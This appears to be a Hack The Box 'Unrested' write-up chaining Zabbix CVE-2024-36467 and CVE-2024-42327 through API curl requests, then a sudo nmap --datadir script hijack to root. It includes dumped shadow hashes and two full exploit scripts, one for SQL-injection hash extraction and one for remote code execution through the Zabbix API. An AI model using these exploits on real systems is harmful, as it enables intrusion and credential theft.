Tags: Zabbix、CVE-2024-36467、CVE-2024-42327、SQLi、Nmap
As is common in real life pentests, you will start the Unrested box with credentials for the following
account on Zabbix: matthew / 96qzn0h2e1k3
Recon & Enum
sudo nmap -p- --min-rate 1000 -T4 -sC -sV -O -v
---
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open tcpwrapped
10051/tcp open ssl/zabbix-trapper?
HTB 在发布时说明了这是一个 CVE 靶机,主要用于复现 Zabbix 漏洞 CVE-2024-36467 与 CVE-2024-42327 因此不做其他多余的扫描。
Shell as Zabbix

登录 zabbix,找到当前版本为 7.0.0,Google 搜索到 CVE-2024-36467、CVE-2024-42327,可以根据官方文档请求 API
# 查看版本信息
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"apiinfo.version","params":{},"id":1}'
---
{"jsonrpc":"2.0","result":"7.0.0","id":1}
# 认证获取 Token
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'
---
{"jsonrpc":"2.0","result":"2662dedb294b9e917fadfc67c0599889","id":1}
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Authorization: Bearer 2662dedb294b9e917fadfc67c0599889' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"selectRole":["roleid, u.passwd","roleid"],"userids":"1"},"auth": "2662dedb294b9e917fadfc67c0599889","id":1}'
---
{"jsonrpc":"2.0","result":[],"id":1}
这里并没有返回用户名以及密码 Hash,再看一下漏洞介绍,需要默认角色权限,或者能够赋予其他用户 API 访问权限。

刚好另一个漏洞 CVE-2024-36467 能够实现此功能,可以把自己加入到管理员用户组

尝试一套组合拳,CVE-2024-36467 把当前用户加入到管理员组、CVE-2024-42327 查看用户 Hash
https://www.zabbix.com/documentation/current/en/manual/api/reference/usergroup/get https://www.zabbix.com/documentation/current/en/manual/api/reference/user/checkauthentication https://www.zabbix.com/documentation/current/en/manual/api/reference/user/update
# 认证获取 Token
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.login","params":{"username":"matthew","password":"96qzn0h2e1k3"},"id":1}'
---
{"jsonrpc":"2.0","result":"ceec177f2533abdea17f947fa538a02e","id":1}
# 查看已认证用户的 userid
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.checkAuthentication","params":{"sessionid":"ceec177f2533abdea17f947fa538a02e"},"id": 1}'
---
{"jsonrpc":"2.0","result":{"userid":"3","username":"matthew","name":"Matthew","surname":"Smith","url":"","autologin":"1","autologout":"0","lang":"en_US","refresh":"30s","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50","timezone":"system","roleid":"1","userdirectoryid":"0","ts_provisioned":"0","debug_mode":0,"deprovisioned":false,"gui_access":0,"mfaid":0,"auth_type":0,"type":1,"userip":"10.10.16.2","sessionid":"ceec177f2533abdea17f947fa538a02e","secret":"3d01d97c6c519cd3cac4e5637752b66c"},"id":1}
# 将当前用户 matthew 添加到 Administrator 组
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.update","params":{"userid":"3","usrgrps":[{"usrgrpid":7}]},"auth":"ceec177f2533abdea17f947fa538a02e","id":1}'
---
{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1}
# 测试 CVE-2024-42327
curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.get","params":{"selectRole":["roleid, u.passwd","roleid"],"userids":"1"},"auth": "ceec177f2533abdea17f947fa538a02e","id":1}' | jq .

$2y$10$L8UqvYPqu6d7c8NeChnxWe1.w6ycyBERr8UgeUYh.3AO7ps3zer2a:
是个强密码,没跑出来,不过这个漏洞本身是 SQL 注入漏洞,可以看一下表里有没有其他数据


有两个表,主要还是看一下 zabbix 表

整理一下,有用的大概是 sessions、users,sessions 中会存放 cookie, users 表可以看看还有没有其他用户。

可以看到只有三个用户,那么可以把 guest 的密码 Hash 爆破一下,同时也看一下 sessions 表

curl --request POST \
--url 'http://unrested.htb/zabbix/api_jsonrpc.php' \
--header 'Content-Type: application/json-rpc' \
--data '{"jsonrpc":"2.0","method":"user.checkAuthentication","params":{"sessionid":"6e2e3c96474af76fb9abd8c544984fb7 "},"id": 1}'
---
{"jsonrpc":"2.0","result":{"userid":"1","username":"Admin","name":"Zabbix","surname":"Administrator","url":"","autologin":"1","autologout":"0","lang":"en_US","refresh":"30s","theme":"default","attempt_failed":"0","attempt_ip":"","attempt_clock":"0","rows_per_page":"50","timezone":"system","roleid":"3","userdirectoryid":"0","ts_provisioned":"0","debug_mode":0,"deprovisioned":false,"gui_access":"1","mfaid":0,"auth_type":0,"type":3,"userip":"10.10.16.2","sessionid":"6e2e3c96474af76fb9abd8c544984fb7 ","secret":"98047c78487fa73b2f6c481ecf9d9ee3"},"id":1}
找到了一个利用 Zabbix API Rce 的脚本,主要使用 item 方法实现(官方提供的 script 接口执行不了),这个脚本使用登录来认证,可以修改代码,让 auth 方法直接返回 Admin 的 token

Local Enum
zabbix@unrested:/$ sudo -l
sudo -l
Matching Defaults entries for zabbix on unrested:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User zabbix may run the following commands on unrested:
(ALL : ALL) NOPASSWD: /usr/bin/nmap *
Shell as Root
sudo nmap --interactive
nmap> !sh
echo 'os.execute("/bin/bash")' > /tmp/nse_good.lua
sudo nmap --script=/tmp/nse_good.lua

两种方法都被 ban 了,那么还有一个 –datadir 参数用于指定数据目录,只需要起一个 nmap 会默认调用的脚本名即可劫持
mv /tmp/nse_good.lua /tmp/nse_main.lua
sudo nmap --datadir /tmp/ -A 127.0.0.1

More and More
难点主要在于复现漏洞后如何深入利用获取权限,这里建议看一下这位师傅的手动 RCE 方法。
Dump Hash
root:$y$j9T$c8kZZUmgmWhR3zrBUruWk.$F60sAZkReUe/ENg78gKNGDZq2hEqQtTa7LMjvP8hjeD:20058:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19474:0:99999:7:::
lxd:!:19474::::::
zabbix:!:20057:0:99999:7:::
Debian-snmp:!:20057:0:99999:7:::
mysql:!:20057:0:99999:7:::
matthew:$y$j9T$WmZMyb.b4HYA0F5zAK0mo/$pQqQW4/PIuLo05BtRdw3SroRYHire.simH0G7khOOz9:20058:0:99999:7:::
_laurel:!:20059::::::
Exploit
import requests
import argparse
"""
Exploit Script for CVE-2024-42327
Author: Alejandro Ramos (@aramosf)
Assisted by: ChatGPT
Date: 2024-12-01
This script demonstrates the exploitation of the vulnerability CVE-2024-42327,
registered by Zabbix as ZBX-25623. This vulnerability allows unauthorized
access to sensitive user information by abusing the JSON-RPC API.
References:
- CVE: CVE-2024-42327
- Zabbix Issue Tracker: https://support.zabbix.com/browse/ZBX-25623
Functionality:
1. Logs in to the Zabbix JSON-RPC API to obtain a session token using a valid username and password.
2. Iterates over a range of user IDs (1 to 40), fetching user details for each ID.
Arguments:
- `-u` or `--url`: The API endpoint URL (e.g., http://192.168.201.128/api_jsonrpc.php).
- `-n` or `--username`: The username for authentication.
- `-p` or `--password`: The password for authentication.
Example:
python script.py -u "http://192.168.201.128/api_jsonrpc.php" -n "aramosf" -p "Hola1234"
Disclaimer:
This script is provided for educational purposes only. Unauthorized exploitation
of vulnerabilities is illegal and unethical. Use responsibly.
"""
def main(url, username, password):
# First request: Login to get the session token
headers = {
"Content-Type": "application/json-rpc"
}
login_data = {
"jsonrpc": "2.0",
"method": "user.login",
"params": {
"username": username,
"password": password
},
"id": 1
}
# Make the POST request for login
response = requests.post(url, json=login_data, headers=headers)
# Check if the login was successful
if response.status_code == 200:
login_result = response.json()
auth_token = login_result.get("result") # Extract the session token
if auth_token:
print(f"Valid session token: {auth_token}")
# Loop over user IDs from 1 to 40
for userid in range(1, 41):
user_data = {
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid, u.passwd", "roleid"],
"userids": str(userid) # Convert the user ID to a string
},
"auth": auth_token,
"id": 1
}
# Make the POST request for each user ID
user_response = requests.post(url, json=user_data, headers=headers)
if user_response.status_code == 200:
user_result = user_response.json()
# Process the response to extract the desired fields
if "result" in user_result and user_result["result"]:
for user in user_result["result"]:
username = user.get("username", "N/A")
name = user.get("name", "N/A")
surname = user.get("surname", "N/A")
user_id = user.get("userid", "N/A")
role_passwd = user.get("role", {}).get("passwd", "N/A")
# Print only the requested fields, separated by commas
print(f"{username}, {name}, {surname}, {user_id}, {role_passwd}")
else:
print(f"Error in the request for user ID {userid}: {user_response.status_code}")
print(user_response.text)
else:
print("Unable to retrieve a session token.")
else:
print(f"Error in login request: {response.status_code}")
print(response.text)
if __name__ == "__main__":
# Parse command-line arguments
parser = argparse.ArgumentParser(
description=(
"Exploit script for CVE-2024-42327 (Zabbix vulnerability ZBX-25623). "
"Use to fetch user details from a Zabbix JSON-RPC API."
)
)
parser.add_argument("-u", "--url", required=True, help="The API endpoint URL.")
parser.add_argument("-n", "--username", required=True, help="The username for authentication.")
parser.add_argument("-p", "--password", required=True, help="The password for authentication.")
parser.add_argument(
"--example", action="store_true", help="Show an example usage of the script."
)
args = parser.parse_args()
# Display example usage if --example is passed
if args.example:
print(
"Example:\n"
"python script.py -u \"http://192.168.201.128/api_jsonrpc.php\" -n \"aramosf\" -p \"Hola1234\""
)
else:
# Run the main function with the provided arguments
main(args.url, args.username, args.password)
from requests import post, get
from time import sleep
import random
import string
class ZabbixAPIAbuse(object):
def __init__(self, url, cmd, method = 'action', user = 'Admin', password = 'zabbix', proxies = None):
self.url = url
self.cmd = cmd
self.user = user
self.password = password
self.proxies = proxies
self.delay = 3
self.method = method
self.run()
def randomString(self, length = 8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post(self, payload):
if self.proxies:
return post(self.url, json = payload, verify = False, proxies = self.proxies)
else:
return post(self.url, json = payload, verify = False)
def get(self, payload):
if self.proxies:
return get(self.url, verify = False, proxies = self.proxies)
else:
return get(self.url, verify = False)
def auth(self):
payload = {
'jsonrpc': '2.0',
'method': 'user.login',
'params': {
'user': self.user,
'password': self.password
},
'id': 1,
'auth': None
}
response = self.post(payload)
if 'result' in response.json():
self.token = response.json()['result']
else:
exit('[-] incorrect username or password')
def getInterfaces(self, hostid):
payload = {
'jsonrpc': '2.0',
'method': 'hostinterface.get',
'params': {
'output': 'extend',
'hostids': hostid,
},
'auth': self.token,
'id': 1
}
response = self.post(payload)
try:
return response.json()['result']
except:
print(response.text)
exit('[-] Something went wrong in getInterfaces method')
def getHosts(self):
payload = {
'jsonrpc': '2.0',
'method': 'host.get',
'params': {},
'auth': self.token,
'id': 1
}
response = self.post(payload)
try:
self.hosts = []
for host in response.json()['result']:
self.hosts.append({'id': host['hostid'], 'hostname': host['host'], 'interfaces': self.getInterfaces(host['hostid'])})
except:
print(response.text)
exit('[-] Something went wrong in getHosts method')
def itemCreate(self):
self.items = []
payload = {
'jsonrpc': '2.0',
'method': 'item.create',
'params': {
'name': self.randomString(),
'key_': f'system.run[{ self.cmd }]',
'delay': self.delay,
'hostid': self.host['id'],
'type': 0,
'value_type': 1,
'interfaceid': self.interface['interfaceid']
},
'auth': self.token,
'id': 1
}
response = self.post(payload)
try:
self.items = response.json()['result']['itemids']
except:
print(response.text)
exit('[-] Something went wrong in itemCreate')
def itemDelete(self):
payload = {
'jsonrpc': '2.0',
'method': 'item.delete',
'params': self.items,
'auth': self.token,
'id': 1
}
response = self.post(payload)
if 'result' in response.json():
print('[*] Items deleted')
else:
print('[-] Something went wrong in itemDelete')
def itemsClear(self):
payload = {
'jsonrpc': '2.0',
'method': 'item.get',
'params': {
'output': 'extend',
'hostids': self.host['id']
},
'auth': self.token,
'id': 1
}
response = self.post(payload)
try:
result = response.json()['result']
for item in result:
payload = {
'jsonrpc': '2.0',
'method': 'item.delete',
'params': [item['itemid']],
'auth': self.token,
'id': 1
}
self.post(payload)
print('[*] Items cleared')
except:
print(response.text)
exit('[-] Something went wrong in itemsClear')
def triggerCreate(self):
description = self.randomString()
payload = {
'jsonrpc': '2.0',
'method': 'trigger.create',
'params': [
{
'description': description,
'expression': f'{{{self.host["hostname"]}:system.uptime.last(0)}}>0',
}
],
"auth": self.token,
"id": 1
}
response = self.post(payload)
try:
self.triggers = {'description': description , 'ids': response.json()['result']['triggerids'] }
except:
print(response.text)
exit('[-] Something went wrong in triggerCreate')
def actionCreate(self):
self.triggerCreate()
payload = {
'jsonrpc': '2.0',
'method': 'action.create',
'params': {
'name': self.randomString(),
'eventsource': 0,
'status': 0,
'esc_period': 60,
'operations': [
{
'operationtype': 1,
'opcommand': {'type': 0, 'execute_on': 0, 'command': self.cmd},
'opcommand_hst': [ {'hostid': self.host['id']} ]
}
]
},
'filter': {
'evaltype': 0,
'conditions': [
{
'conditiontype': 3,
'operator': 0,
'value': self.triggers['description']
},
{
'conditiontype': 2,
'operator': 0,
'value': self.triggers['ids'][0]
}
]
},
'auth': self.token,
'id': 1
}
response = self.post(payload)
try:
self.actions = response.json()['result']['actionids']
except:
print(response.text)
exit('[-] Something went wrong in actionCreate')
def actionDelete(self):
payload = {
'jsonrpc': '2.0',
'method': 'action.delete',
'params': self.actions,
'auth': self.token,
'id': 1
}
response = self.post(payload)
if 'result' in response.json():
print('[*] Actions deleted')
else:
print('[-] Something went wrong in deleteItems')
def triggerDelete(self):
payload = {
'jsonrpc': '2.0',
'method': 'trigger.delete',
'params': self.triggers['ids'],
'auth': self.token,
'id': 1
}
response = self.post(payload)
if 'result' in response.json():
print('[*] Triggers deleted')
else:
print('[-] Something went wrong in triggerDelete')
def item(self):
try:
for i in range(0, len(self.host['interfaces'])):
print(f'[{i}]: {self.host["interfaces"][i]["ip"]}')
self.interface = self.host['interfaces'][int(input('Interface num: '))]
self.itemCreate()
print('[*] Waiting for execution ...')
sleep(120)
print('[*] Execution done')
self.itemDelete()
except:
self.itemDelete()
exit()
def action(self):
try:
self.actionCreate()
print('[*] Waiting for execution ...')
sleep(120)
self.actionDelete()
self.triggerDelete()
except:
self.actionDelete()
self.triggerDelete()
exit()
def run(self):
self.auth()
self.getHosts()
for i in range(0, len(self.hosts)):
print(f'[{i}]: {self.hosts[i]["hostname"]}')
self.host = self.hosts[int(input('Host num: '))]
if self.method == 'action':
self.action()
elif self.method == 'item':
self.item()
if __name__ == '__main__':
ZabbixAPIAbuse(input('URL: '), input('CMD: '), input('Method [Default: action] (action / item): '), input('Username [Default: Admin]: '), input('Password [Default: zabbix]: '))
